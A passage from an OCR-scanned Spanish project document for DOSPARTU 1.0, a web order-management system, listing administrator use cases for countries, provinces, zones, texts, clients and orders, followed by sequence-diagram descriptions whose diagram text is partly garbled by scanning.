Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 54 Afadir sustitucion
Fuente: [Propia]

Caso de Uso Eliminar-sustitucion

Requisitos asociados | Admin-productos

Actor iniciador Administrador

Descripcion Eliminar un producto en la lista de sustituciones de otro

Precondicion

Administrador ha iniciado sesion

El producto es sustituto actual

Postcondicion Se registra la exclusion del producto como sustituto del actual.

Curso normal

1.
2
3
4,
5

6.

El administrador quiere eliminar una sustitucion del producto.
El sistema muestra los sustitutos del producto actual.

El administrador selecciona la sustitucion y pulsa Eliminar.
El sistema pide al administrador que confirme la accion.

El administrador confirma.

El sistema elimina el producto de la lista de sustituciones y registra los cambios.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 55 Eliminar sustitucion
Fuente: [Propia]
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4.2.2.11. Casos de Uso Administracion (paises)

alta pais consulta pais

administrador

haja pais madifica pais

Figura 28 Casos de uso administracion paises
Fuente: [Propia]

Caso de Uso Alta pais

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Creacion de un nuevo pais en el sistema

Precondicion Administrador ha iniciado sesion

Postcondicion El pais es registrado en el sistema

Curso normal

1. El administrador quiere dar de alta un nuevo pais.
2. El sistema solicita los datos del pais.

3. El administrador introduce los datos.

4. El sistema valida los datos

5. El sistema registra el pais

Curso alternativo

Si ya existe otro pais con el mismo nombre, muestra error y se vuelve al punto 3.

Tabla 56 Alta pais
Fuente: [Propia]
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Caso de Uso Consulta pais

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Consulta de los datos de un pais

L Administrador ha iniciado sesion
Precondicion o ]
Pais existe en el sistema

Postcondicion Datos del pais son mostrados en pantalla

Curso normal

1. El administrador quiere consultar los datos de un pais.
2. El sistema muestra todos los paises existentes.
3. El administrador selecciona el pais.

4. El sistema muestra los datos del pais.

Curso alternativo

Tabla 57 Consulta pais
Fuente: [Propia]

Caso de Uso Modificacion pais

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Modificacién de los datos de un pais

. Administrador ha iniciado sesion
Precondicion . )
Pais existe en el sistema

Postcondicion Los datos del pais son actualizados en el sistema

Curso normal

1. El administrador quiere modificar los datos de un pais.
2. Inclusién Consulta Pais.

3. El administrador modifica los datos.

4. El sistema valida los nuevos datos.

5. El sistema registra los cambios introducidos en el pais.

Curso alternativo

Si datos introducidos no es valido, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 58 Modificacion pais
Fuente: [Propia]
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Caso de Uso Baja pais

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Eliminacién de un pais

Precondicion

Administrador ha iniciado sesion

Pais existe en el sistema

Postcondicion El pais se elimina del sistema

Curso normal

1.
2
3
4.
5

6.

El administrador quiere dar de baja un pais.

El sistema muestra todos los paises existentes.

El administrador selecciona el pais deseado.

El sistema pide al administrador que confirme la accién.
El administrador confirma.

El sistema elimina el pais.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Si el pais tiene registros asociados, muestra un mensaje de error, termina el caso de uso.

Tabla 59 Baja Pais
Fuente: [Propia]
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4.2.2.12. Casos de Uso administracion (provincias)

alta pravincia consulta pravincia

administradar

haja provincia madifica provincia

Figura 29 Casos de usos administracion provincias
Fuente: [Propia]

Caso de Uso Alta provincia

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Creacion de una nueva provincia en el sistema
Precondicion Administrador ha iniciado sesion
Postcondicion La provincia es registrada en el sistema.

Curso normal

1. El administrador quiere dar de alta una nueva provincia.
2. El sistema solicita los datos de la provincia.

3. El administrador introduce los datos.

4. El sistema valida los datos.

5. El sistema registra la provincia.

Curso alternativo

valido, se muestra un mensaje de error y se vuelve al punto 3.

Si ya existe otra provincia con el mismo nombre o alguno de los datos introducidos no es

Tabla 60 alta provincia
Fuente: [Propia]
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Caso de Uso

Consulta Provincia

Requisitos asociados

Admin-zonas

Actor iniciador

Administrador

Descripcion

Consulta los datos de una provincia

Precondicion

Administrador ha iniciado sesion

La provincia existe en el sistema

Postcondicién

Los datos de la provincia son mostrados por la pantalla

Curso normal

1. El administrador quiere consultar los datos de una provincia.

2. El sistema muestra todas las provincias existentes.

3. El administrador selecciona la provincia.

4. El sistema muestra los datos de la provincia.

Curso alternativo

Tabla 61 Consulta provincia

Fuente: [Propia]

Caso de Uso

Modifica-provincia

Requisitos asociados

Admin-zonas

Actor iniciador

Administrador

Descripcion

Modificacién de los datos de una provincia

Precondicion

Administrador ha iniciado sesion

La provincia existe en el sistema

Postcondicion

Los datos de la provincia son actualizados en el sistema

Curso normal

1. El administrador quiere modificar los datos de una provincia.

2. Inclusion Consulta Provincia.

3. El administrador modifica los datos.

4. El sistema valida los nuevos datos.

5. El sistema registra los cambios introducidos en la provincia.

Curso alternativo

Si algunos datos introducidos no es valido, muestra mensaje de error y se vuelve al punto 3

Tabla 62 Modifica provincia

Fuente: [Propia]
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Caso de Uso Baja-provincia

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Eliminacién de una provincia del sistema

Precondicion

Administrador ha iniciado sesion

La provincia existe en el sistema

Postcondicion La provincia se elimina del sistema

Curso normal

1.
2
3
4.
5

6.

El administrador quiere dar de baja una provincia.

El sistema muestra todas las provincias existentes.

El administrador selecciona la provincia deseada.

El sistema pide al administrador que confirme la accién.
El administrador confirma.

El sistema elimina la provincia.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 63 Baja provincia
Fuente: [Propia]
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4.2.2.13. Casos de Uso administracion (zonas)

alta zona consulta zona

administrador

haja zona madifica zZona

2=implemptati #nplementation=:=

2=implementation==

asigha pravincia asigna pais gestion portes

Figura 30 Casos de uso administracion zonas
Fuente: [Propia]

Caso de Uso Alta-zona

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Creacion de una nueva zona en el sistema
Precondicion Administrador ha iniciado sesion
Postcondicion La zona es registrada en el sistema

Curso normal

1. El administrador quiere dar de alta una nueva zona.
2. Elsistema solicita los datos de la zona.

3. El administrador introduce los datos.

4. El sistema valida los datos.

5. El sistema registra la zona.

Curso alternativo
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Si ya existe otra zona con el mismo nombre o alguno de los datos introducidos no es

valido, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 64 Alta zona
Fuente: [Propia]

Caso de Uso Consulta-zona

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Consulta de los datos de una zona

o Administrador ha iniciado sesion
Precondicion ] )
La zona existe en el sistema

Postcondicion Los datos son mostrados en pantalla

Curso normal

1. El administrador quiere consultar los datos de una zona.
2. El sistema muestra todas las zonas existentes.
3. El administrador selecciona la zona deseada.

4. El sistema muestra los datos de la zona.

Curso alternativo

Tabla 65 Consulta zona
Fuente: [Propia]

Caso de Uso Modificacion-zona

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Modificacion de los datos de una zona

L Administrador ha iniciado sesion
Precondicion ) )
La zona existe en el sistema

Postcondicion Los datos de la zona son actualizados en el sistema

Curso normal

1. El administrador quiere modificar los datos de una zona.
2. Inclusion Consultar Zona.

3. El administrador modifica los datos.

4. El sistema valida los nuevos datos.
5

El sistema registra los cambios introducidos en la zona.
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Curso alternativo

Extension Asignar Provincia.
Extension Asignar Pais.

Si datos no validos, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 66 Modifica zona
Fuente: [Propia]

Caso de Uso Baja-zona

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Eliminacién de una zona del sistema

- Administrador ha iniciado sesion
Precondicion ] ]
La zona existe en el sistema

Postcondicion La zona es eliminada del sistema

Curso normal

1. El administrador quiere dar de baja una zona.

2. El sistema muestra todas las zonas existentes.

3. El administrador selecciona la zona y pulsa Eliminar.

4. El sistema pide al administrador que confirme la accion.
5. El administrador confirma.

6. El sistema elimina la zona.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 67 Baja zona
Fuente: [Propia]

Caso de Uso Asignar-provincia

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Asignar provincia a una zona

Precondicion Administrador ha iniciado sesion

Postcondicion Se registra la insercién de la provincia en la zona

Curso normal

1. El administrador quiere asociar una provincia a una zona.
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2. El sistema muestra las provincias asignables.
3. El administrador selecciona la provincia y pulsa Insertar.

4. El sistema incluye la provincia en la zona y registra los cambios.

Curso alternativo

Tabla 68 Asignar provincia
Fuente: [Propia]

Caso de Uso Asignar-pais

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Asignar provincias de un pais a una zona

Precondicion Administrador ha iniciado sesion

Postcondicion Registra la insercion de todas las provincias de un pais a una zona

Curso normal

1. El administrador quiere asignar un pais a una zona.

2. El sistema muestra los paises existentes.

3. El administrador selecciona un pais y pulsa Insertar.

4. El sistema incluye todas las provincias asignables del pais seleccionado y registra

los cambios en la zona modificada.

Curso alternativo

Tabla 69 asignar pais
Fuente: [Propia]

Caso de Uso Gestionar-porte

Requisitos asociados | Admin-zonas

Actor iniciador Administrador

Descripcion Gestionar portes de acuerdo a zonas

Precondicion Administrador ha iniciado sesion

Postcondicion Se gestiona todos los aspectos referentes a los portes por zonas

Curso normal

1. Gestiona la insercion.
2. Gestiona modificacién

3. Gestiona eliminacion
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4. Gestiona la busqueda.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 70 Gestionar porte
Fuente: [Propia]

4.2.2.14.

Casos de Uso administracion (textos)

alta texto

baja texto

A

acdministracor

consuita texto

modifica texto

Figura 31 Casos de uso administracion textos
Fuente: [Propia

Caso de Uso Alta-texto

Requisitos asociados | Admin-idiomas

Actor iniciador Administrador

Descripcion Creacion de un nuevo texto auxiliar en el sistema
Precondicion Administrador ha iniciado sesion

Postcondicion El texto queda registrado en el sistema

Curso normal

1.

2
3.
4

El administrador quiere dar de alta un nuevo texto auxiliar.
El sistema solicita los datos del texto.
El administrador introduce los datos.

El sistema valida los datos.
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5. El sistema registra el texto.

Curso alternativo

Si ya existe otro texto con el mismo nombre o alguno de los datos introducidos no es

valido, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 71 Alta texto
Fuente: [Propia]

Caso de Uso Consulta-texto

Requisitos asociados | Admin-idiomas

Actor iniciador Administrador

Descripcion Consulta de un texto auxiliar

- Administrador ha iniciado sesion
Precondicion ] ]
El texto existe en el sistema

Postcondicion Los datos de la agrupacion en mostrados por pantalla

Curso normal

1. El administrador quiere consultar los datos de un texto auxiliar.
2. El sistema muestra los textos auxiliares existentes.
3. El administrador selecciona el texto deseado.

4. El sistema muestra los datos del texto auxiliar.

Curso alternativo

El administrador quiere buscar un texto con determinadas caracteristicas.
El sistema solicita los criterios de blsqueda.

El administrador introduce los criterios.

El sistema muestra los textos auxiliares que satisfacen las restricciones.

El caso de uso contintia en el punto 3.

Tabla 72 Consulta texto
Fuente: [Propia]

Caso de Uso Modifica-texto

Requisitos asociados | Admin-idiomas

Actor iniciador Administrador

Descripcion Modificacién del texto para otros idiomas

L Administrador ha iniciado sesion
Precondicion ) )
El texto existe en el sistema

Postcondicion Los datos del texto queda actualizados




DOSPARTU 1.0 Sistema de Gestién de Pedidos y Proformas Dinamicas por Internet

Curso normal

1. El administrador quiere modificar los datos de un texto auxiliar.
2. Inclusion Consulta Texto.

3. El administrador modifica los datos.

4. El sistema valida los nuevos datos.

5. El sistema registra los cambios introducidos en el texto auxiliar.

Curso alternativo

Si alguno de los datos introducidos no es valido, se muestra un mensaje de error y se

vuelve al punto 3.

Tabla 73 Modifica texto
Fuente: [Propia]

Caso de Uso Baja-texto

Requisitos asociados | Admin-idiomas

Actor iniciador Administrador

Descripcion Eliminacion de un texto auxiliar del sistema

L Administrador ha iniciado sesion
Precondicion ] )
El texto existe en el sistema

Postcondicion El texto queda eliminado del sistema

Curso normal

1. El administrador quiere dar de baja un texto auxiliar.

2. El sistema muestra los textos existentes.

3. El administrador selecciona el texto deseado.

4. El sistema pide al administrador que confirme la accion.
5. El administrador confirma.

6. El sistema elimina el texto auxiliar.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 74 Baja texto
Fuente: [Propia]
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4.2.2.15. Casos de Uso administracion (secciones)

caonsultar seccion

consulta etiqueta

A

administradar

modificacion seccion

Figura 32 Casos de uso administracion secciones
Fuente: [Propia]

Caso de Uso Consulta-seccion

Requisitos asociados | Admin-secciones

Actor iniciador Administrador

Descripcion Consulta del contenido de una seccién o email.

o Administrador ha iniciado sesion
Precondicion ] )
El texto existe en el sistema

Postcondicion La seccidn es mostrada en pantalla

Curso normal

1. El administrador quiere visualizar una seccion.
2. El sistema muestra las secciones existentes.
3. El administrador selecciona la seccion deseada.

4. El sistema muestra la seccidn.

Curso alternativo

Tabla 75 Consulta seccion
Fuente: [Propia]

130



DOSPARTU 1.0 Sistema de Gestién de Pedidos y Proformas Dinamicas por Internet

Caso de Uso Consulta-etiquetas

Requisitos asociados | Admin-secciones

Actor iniciador Administrador

Descripcion Consulta de las etiquetas de una seccion

L Administrador ha iniciado sesion
Precondicion » ] )
La seccidn existe en el sistema

Postcondicion La seccion es mostrada en pantalla

Curso normal

1. El administrador quiere consultar las etiquetas de una seccion.
2. Inclusion Consultar Seccion.
3. El administrador selecciona la opcién de mostrar etiquetas.

4. El sistema muestra las etiquetas y su descripcion por pantalla.

Curso alternativo

Tabla 76 Consulta etiquetas
Fuente: [Propia]

Caso de Uso Consulta-seccion

Requisitos asociados | Admin-secciones

Actor iniciador Administrador

Descripcion Modificar el contenido de una seccidn determinada

L Administrador ha iniciado sesion
Precondicion » ] )
La seccion existe en el sistema

Postcondicion El contenido de la seccién queda registrada en el sistema

Curso normal

1. El administrador quiere modificar el contenido de una seccion.
2. Inclusion Consultar Seccion.
3. El administrador modifica el contenido de la seccion.

4. El sistema registra los cambios introducidos en la seccion.

Curso alternativo

Tabla 77 Consulta seccion
Fuente: Propia
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4.2.2.16. Casos de Uso Administracion (clientes)

alta cliente biaja cliente

enviar mail redistro

modifica cliente

administradar

consulta cliente

Figura 33 Casos de Uso Administracion clientes
Fuente: [Propia]

Caso de Uso Alta-cliente o usuario registrado
Requisitos asociados | Admin-clientes

Actor iniciador Administrador

Descripcion Alta a un nuevo cliente en el sistema
Precondicion Administrador ha iniciado sesion

Postcondicion El cliente queda registrado en el sistema

Curso normal

1. El administrador quiere dar de alta un nuevo cliente en el sistema.
2. El sistema solicita los datos del cliente.

3. El administrador introduce los datos.

4. El sistema valida los datos.

5. El sistema registra el cliente.

Curso alternativo
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Si ya existe otro cliente con el mismo email o alguno de los datos introducidos no es

valido, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 78 Alta cliente / usuario registrado
Fuente: [Propia]

Caso de Uso Consulta-cliente o usuario registrado

Requisitos asociados | Admin-clientes

Actor iniciador Administrador

Descripcion Consulta de los datos de un cliente

- Administrador ha iniciado sesion
Precondicion ) ] ]
El cliente existe en el sistema

Postcondicion Los datos son mostrados en la pantalla

Curso normal

1. El administrador quiere consultar los datos de un cliente.
2. El sistema muestra los clientes existentes.
3. El administrador selecciona el cliente deseado.

4. El sistema muestra los datos del cliente.

Curso alternativo

El administrador quiere buscar un cliente con determinadas caracteristicas.
El sistema solicita los criterios de blsqueda.
El administrador introduce los criterios.

El sistema lista los clientes que satisfacen las restricciones.

Tabla 79 Consulta-cliente o usuario registrado
Fuente: [Propia]

Caso de Uso Modificacién-cliente o usuario registrado

Requisitos asociados | Admin-clientes

Actor iniciador Administrador

Descripcion Modificacion de los datos de un cliente

L Administrador ha iniciado sesion
Precondicion ) ] )
El cliente existe en el sistema

Postcondicion Los datos del cliente quedan actualizados

Curso normal

1. El administrador quiere modificar los datos de un cliente.
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2
3.
4

5.

Inclusion Consulta Cliente.
El administrador modifica los datos.
El sistema valida los nuevos datos.

El sistema registra los cambios introducidos en el cliente.

Curso alternativo

Si ya existe otro cliente con el mismo email o alguno de los datos introducidos no es

valido, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 80 Modificacion-cliente o usuario registrado
Fuente: Propia

Caso de Uso Baja-cliente o usuario registrado

Requisitos asociados | Admin-clientes

Actor iniciador Administrador

Descripcion Baja de un cliente en el sistema

Precondicion

Administrador ha iniciado sesién

El cliente existe en el sistema

Postcondicion El cliente es eliminado del sistema

Curso normal

1.
2
3
4.
5

6.

El administrador quiere dar de baja un cliente.

El sistema muestra los clientes existentes.

El administrador selecciona el cliente y pulsa Eliminar.
El sistema pide al administrador que confirme la accién.
El administrador confirma.

El sistema elimina el cliente.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Si el cliente tenia pedidos asociados, muestra un mensaje de error y finaliza el caso de uso.

Tabla 81 Baja-cliente o usuario registrado
Fuente: [Propia]
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Caso de Uso Enviar mail de registro

Requisitos asociados | Admin-clientes

Actor iniciador Administrador

Descripcion Envio del mail de registro a un cliente

Precondicion

Administrador ha iniciado sesién

El cliente existe en el sistema

Postcondicion Se envia un mail con los datos de registro

Curso normal

1.
2
3
4.
5

6.

El administrador quiere enviar un mail de registro a un cliente.
Inclusion Consulta Cliente.

El administrador selecciona la opcion Enviar Mail.

El sistema pide al administrador que confirme la accién.

El administrador confirma.

El sistema envia el mail de confirmacidn de registro con sus datos introducidos.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 82 Enviar mail de registro
Fuente: [Propia]
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Casos de Uso Administracion (pedidos)

alta pedido

=zjmplementation ==
gestion lineas

ificacion pedido

erviar mail pedidao

Figura 34 Casos de Uso Administracion pedidos
Fuente: [Propia]

rrodifica linea
=<implementation==
i

alta linea
haja linea

consulta linea

Caso de Uso

Alta pedido

Requisitos asociados

Admin-pedido

Actor iniciador

Administrador

Descripcion

Alta de un nuevo pedido en el sistema

Precondicion

Administrador ha iniciado sesion

Postcondicion

El pedido queda registrado en el sistema

Curso normal

1. El administrador quiere dar de alta un nuevo pedido en el sistema.

2. El sistema sol

icita los datos del pedido.
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3. El administrador introduce los datos.
4. El sistema valida los datos.

5. El sistema registra el pedido.

Curso alternativo

Si ya existe otro pedido con el mismo email o alguno de los datos introducidos no es

valido, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 83 Alta pedido
Fuente: [Propia]

Caso de Uso Consulta pedido

Requisitos asociados | Admin-pedido

Actor iniciador Administrador

Descripcion Consulta de los datos de un pedido

o Administrador ha iniciado sesion
Precondicion . . .
El pedido existe en el sistema

Postcondicion Los datos del pedido son mostrados en pantalla

Curso normal

1. El administrador quiere consultar los datos de un pedido.
2. El sistema muestra los pedidos existentes.
3. El administrador selecciona el pedido deseado.

4. El sistema muestra los datos del pedido.

Curso alternativo

El administrador quiere buscar un pedido con determinadas caracteristicas.
El sistema solicita los criterios de busqueda.

El administrador introduce los criterios.

El sistema lista los pedidos que satisfacen las restricciones.

Extension Consultar Linea

Tabla 84 Consulta pedido
Fuente: [Propia]

Caso de Uso Modificar pedido
Requisitos asociados | Admin-pedido

Actor iniciador Administrador

Descripcion Modificacion de los datos de un pedido
Precondicion Administrador ha iniciado sesion
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El pedido existe en el sistema

Postcondicion Los datos del pedido quedan actualizados en el sistema

Curso normal

1. El administrador quiere modificar los datos de un pedido.
2. Inclusion Consulta Pedidos.

3. El administrador modifica los datos.

4. El sistema valida los nuevos datos.

5. El sistema registra los cambios introducidos en el pedido.

Curso alternativo

Extension Afiadir Linea
Extension Modificar Linea

Extensién Quitar Linea

Si alguno de los datos introducidos no es valido, mensaje de error y se vuelve al punto 3.

Tabla 85 Modificar pedido
Fuente: [Propia]

Caso de Uso Baja pedido
Requisitos asociados | Admin-pedido

Actor iniciador Administrador

Descripcion Baja de un pedido del sistema

. Administrador ha iniciado sesion
Precondicion ) ] )
El pedido existe en el sistema

Postcondicion El pedido y todas sus lineas son eliminadas del sistema

Curso normal

1. El administrador quiere dar de baja un pedido.

2. Inclusién Consulta Pedidos.

3. El administrador selecciona el pedido y pulsa Eliminar.
4. El sistema pide al administrador que confirme la accion.
5. ladministrador confirma.

6. El sistema elimina el pedido con todas sus lineas.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 86 Baja pedido
Fuente: [Propia]
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Caso de Uso Afadir linea/producto al pedido

Requisitos asociados | Admin-pedido

Actor iniciador Administrador

Descripcion Insercion de una linea en un pedido

Administrador ha iniciado sesion
Precondicion El pedido existe en el sistema

El pedido no tiene otra linea con el mismo producto

Postcondicion Se registra la linea del pedido en el sistema

Curso normal

1. El administrador quiere afiadir una linea en un pedido.
2. El sistema muestra los productos que no pertenecen al pedido.
3. El administrador selecciona el producto, introduce una cantidad y pulsa Insertar.

4. El sistema afiade la linea en el pedido y registra los cambios.

Curso alternativo

Tabla 87 Afadir linea/producto al pedido
Fuente: [Propia]

Caso de Uso Consulta linea/producto del pedido

Requisitos asociados | Admin-pedido

Actor iniciador Administrador

Descripcion Consulta los datos de una linea del pedido

L Administrador ha iniciado sesion
Precondicion . . .
El pedido existe en el sistema

Postcondicion Los datos de la linea son mostrados en pantalla

Curso normal

1. El administrador quiere consultar los datos de una linea del pedido.
2. Elsistema lista las lineas del pedido.
3. El administrador selecciona la linea deseada.

4. El sistema muestra los datos de la linea.

Curso alternativo

Tabla 88 Consulta linea/producto del pedido
Fuente: [Propia]

139



140

DOSPARTU 1.0 Sistema de Gestién de Pedidos y Proformas Dinamicas por Internet

Caso de Uso Modificar linea/producto del pedido
Requisitos asociados | Admin-pedido

Actor iniciador Administrador

Descripcion Modificacién de una linea de pedido

L Administrador ha iniciado sesion
Precondicion . ] ] ]
La linea del pedido existe en el sistema

Postcondicion Los datos de la linea quedan actualizados en el sistema

Curso normal

1. El administrador quiere modificar una linea en un pedido.
2. Inclusion Consultar Linea.

3. El administrador modifica los datos de la linea.

4. El sistema valida los nuevos datos.

5. El sistema registra los cambios introducidos en el pedido.

Curso alternativo

Si ya existe otra linea para el mismo producto o alguno de los datos introducidos no es

valido, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 89 Modificar linea/producto del pedido
Fuente: [Propia]

Caso de Uso Quitar linea/producto del pedido
Requisitos asociados | Admin-pedido

Actor iniciador Administrador

Descripcion Eliminacion de una linea del pedido

o Administrador ha iniciado sesion
Precondicion i .
La linea pertenece al pedido

Postcondicion Se registra la eliminacion de la linea de pedido

Curso normal

1. El administrador quiere eliminar una linea del pedido.

2. El sistema muestra las lineas del pedido actual.

3. El administrador selecciona la linea deseada y pulsa Eliminar.
4. El sistema pide al administrador que confirme la accion.

5. El administrador confirma.

6. Elsistema elimina la linea del pedido y registra los cambios.

Curso alternativo
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Si el administrador no confirma la accién, finaliza el caso de uso.

Tabla 90 Quitar linea/producto del pedido
Fuente: [ Propia]

Caso de Uso Enviar mail pedido

Requisitos asociados | Admin-clientes

Actor iniciador Administrador

Descripcion Envié mail de confirmacion con los datos del pedido realizado

- Administrador ha iniciado sesion
Precondicion ) ) )
El pedido existe en sistema

Postcondicion Se envia mail con los datos del pedido que el cliente realizo

Curso normal

1. El administrador quiere enviar un mail de confirmacién de un pedido.

2. Inclusion Consulta Pedido.

3. El administrador selecciona la opcién Enviar Mail.

4. El sistema pide al administrador que confirme la accion.

5. El administrador confirma.

6. EIl sistema envia el mail de confirmacion de pedido con los datos y lineas del

pedido introducidos en la plantilla.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 91 Enviar mail pedido
Fuente: [Propia]

4.2.3. Diagramas de Secuencia

Un diagrama de secuencia muestra la interaccion de un conjunto de objetos en una aplicacién a través
del tiempo y se modela para cada método de la clase. El diagrama de secuencia contiene detalles de
implementacion del escenario, incluyendo los objetos y clases que se usan para implementar el
escenario, y mensajes intercambiados entre los objetos.

Tipicamente se examina la descripcion de un caso de uso para determinar qué objetos son necesarios
para la implementacion del escenario. Si se dispone de la descripcion de cada caso de uso como una
secuencia de varios pasos, entonces se puede "caminar sobre" esos pasos para descubrir qué objetos

son necesarios para que se puedan seguir los pasos.
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Un diagrama de secuencia muestra los objetos que intervienen en el escenario con lineas discontinuas

verticales, y los mensajes pasados entre los objetos como flechas horizontales.
4.2.3.1. Escenario Registrar

Desde esta opcién, el usuario no registrado podra darse de alta en la base de datos de nuestra
aplicacion.

Inicialmente se nos pedira que rellenemos un formulario con los datos personales, asi como nuestro
identificador y contrasefia. Se comprobara que el identificador elegido no este dado de alta por otro
usuario en nuestra base de datos, si ya existe mostraremos un mensaje advirtiéndolo, en caso contrario

se efectuara el alta, con su respectiva pantalla de confirmacion.

formularia principal sistema usyario registrado

|
Usuario:Usuario :
1. registrar() I

2. introducir datos ()

3. obtener_identificador(id)
L1

4 devolveridem'rfic:alldor[id] |

|
i
:> 5. c:omprol:lal_existencia_icler!tiﬁc:ador{}

5. [identificador=id]confirmar_ragistra()

K ———————————————— T

=-J
=
]
3
Z
£
&
|
i
Z
©
=2
g
I-.
']
G
E
E]

Figura 35 Escenario Registrar
Fuente: [Propia]

4.2.3.2. Escenario Buscar Producto

Desde esta opcién cualquier usuario puede efectuar la basqueda de un producto. Se buscaran las

coincidencias dentro de la categoria seleccionada y se mostraran los resultados en un listado.
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Formulario grincipal Is! a Producto

Paguete superior: .Actor

T
|
| 1. buscar_productol)

2, elegir_categorial)

¥

3. obterer_caracteristicas()

4. caractersticas()

T > 5. buscar coincidencias{)

|
|
|
6. ver_én_pantalla_listad{:{}

—
I
I
I
I
I
I
I
I

==

Figura 36 Escenario Buscar Producto
Fuente: [Propia]

4.2.3.3. Escenario Identificarse

En la pantalla principal nos aparecera la opcion de identificacién, para que los usuarios registrados o
los usuarios administradores puedan introducir su identificador y correspondiente contrasefia, para

poder tener la funcionalidad correspondiente a su rol.

143



DOSPARTU 1.0 Sistema de Gestién de Pedidos y Proformas Dinamicas por Internet

S R

usuano registrados::administrador

I
I
I
: 1. ldentificarse(}

2. Introducir (id contrasena)

3. Obtener_datos{id, contrasena) |

4. Devolver_datos(id. contrasena)

5. Mostrar_datos_ragistral)

6. Mostrar_pagina_autentificadal)

7. Mostra_pagina_ermar|)

Figura 37 Escenario ldentificarse
Fuente: [Propia]

4.2.3.4. Escenario Confirmar Pedido

Una vez seleccionados los productos a comprar, se confirma que se quiere realizar la compra, se
guardan los datos del pedido en nuestra base de datos se envia un mensaje de confirmacion o en caso

contrario un mensaje de advertencia.
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Formulario principal Sistema Producto Pedido

Usuario registrade: Usuario registradoe

I
|
I
|
I
| 1. confirmar_productod) 1

¥

2. Introducir_datos()

3. ohtener_datos()

4. devolver_datos()

canfirmar()

ragistrar_pedido()

7. mensaje_confimacion(}

hd

Figura 38 Escenario Confirmar Pedido
Fuente: [Propia]
4.2.3.5. Escenario Alta Categoria

El administrador una vez identificado, tiene la opcion de introducir nuevas categorias en nuestro
catadlogo de productos. Para ello introducira el nombre de la nueva categoria y se realizara el alta en

nuestra base de datos.
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Formulario principal Sistama at ria

|
|
| anadir_categorial) n

Administrador::Administrador

2. introducir_datos()

L A

3. alta_categoriaf)

4, resultadol)

5. resultadol)

6. mastrar_mensaje()

Figura 39 Escenario Alta Categoria
Fuente: [Propia]

4.2.3.6. Escenario Baja Categoria

Al igual que la operacion de alta seré el administrador el encargado de efectuar las bajas de categorias.
Se seleccionara la categoria que queremos borrar de nuestra base de datos y pulsando el boton de

eliminar efectuaremos la operacién indicada.
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Formulario principal Sistemna Categoria

| |

Administrador:Administrador [ :
|

| | |

I 1. eliminar_categoria() I |

1 > L |

2. seleccionar_categorial) dl.-

3. mostrar_resultados()

4. elegir_categerial()

5. eliminar_catagorial)

k

7. mosirar_mensaje()
- 6. rasultadoy)

|

|

|

|

|

T |
| |
| |
i |
| |

Figura 40 Escenario Baja Categoria
Fuente: [Propia]

4.2.3.7. Escenario Alta Producto

Nuestro administrador, tendra la funcién de dar de alta productos, para realizar esta operacion debera
rellenar un pequeno formulario con el nombre del producto, precio, caracteristicas...

Una vez enviado el formulario se procedera al alta del producto.

147



DOSPARTU 1.0 Sistema de Gestién de Pedidos y Proformas Dinamicas por Internet

Formulario principal Tienda Producto

. - I |
Administrador:-Administrador 1 I :
1. afadir_produciol) ! I I
I - 1 1 |

2. introducin_datos()

L 3

3. alta_productal)

L4

4. resultar)

5. resultadol)

% _____________ b
6. mostrar_mensaje{)

+#

-
-

Figura 41 Escenario Alta
Fuente: [Propia]

4.2.3.8. Escenario Baja Producto

Esta operacion consiste en seleccionar un producto y proceder a su eliminaciéon de nuestra base de

datos.
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Formulario principal Islama producio

Administrador:Administrador

I
I
I
! I
| 1. sliminar_productod) !

I

.
L

2. seleccionar_productod)

3. mostrar_resultadod)

4. elegir_producto{}

5. eliminar_producto{}
[
|

& resultadol)

T. mostrar_mensaje()

-
-+

s
—————

Figura 42 Escenario Baja Producto
Fuente: [Propia]

4.2.3.9. Escenario Listar Usuarios Registrados

Dentro de esta opcion el usuario realiza una peticion de todos los usuarios que estan registrados dentro

de nuestra base de datos.
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Formulario principal Sistema

Administrador : :
I I

1 I

| 1 I
| 1 I
| 1. listar_usuaric_registrado]) I I
| o |
I

I

2. solicitar_usuarioReg() |

3. devolver_usuarioReq()

= — = — = T

I

I

I

_ 4. mostrar_usuarioReg() :
- 1 I
| 1 I
| 1 I
| 1 I
| ] |

|
Figura 43 Escenario Listar Usuarios Registrados
Fuente: [Propia]
4.2.3.10. Escenario Eliminar Usuarios Registrador

Una vez listado los usuarios seleccionaremos el usuario que se desee eliminar de la base de datos.
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Fomulario principal Sistema

Administrador:-Administrador

1. listar_usuaro_registradal)

I
I
I
I

| I

| 1

| 1

| i

2. solicitar_usuarioReg()
3. devolver_usuanioReg()
e == — = T

|
|
|
B 4. mostrar_usuarioReg() :
T b ; |
| | |
| | |
: ' [
| | |

Figura 44 Escenario Eliminar Usuario Registrado

Fuete: [Propia]
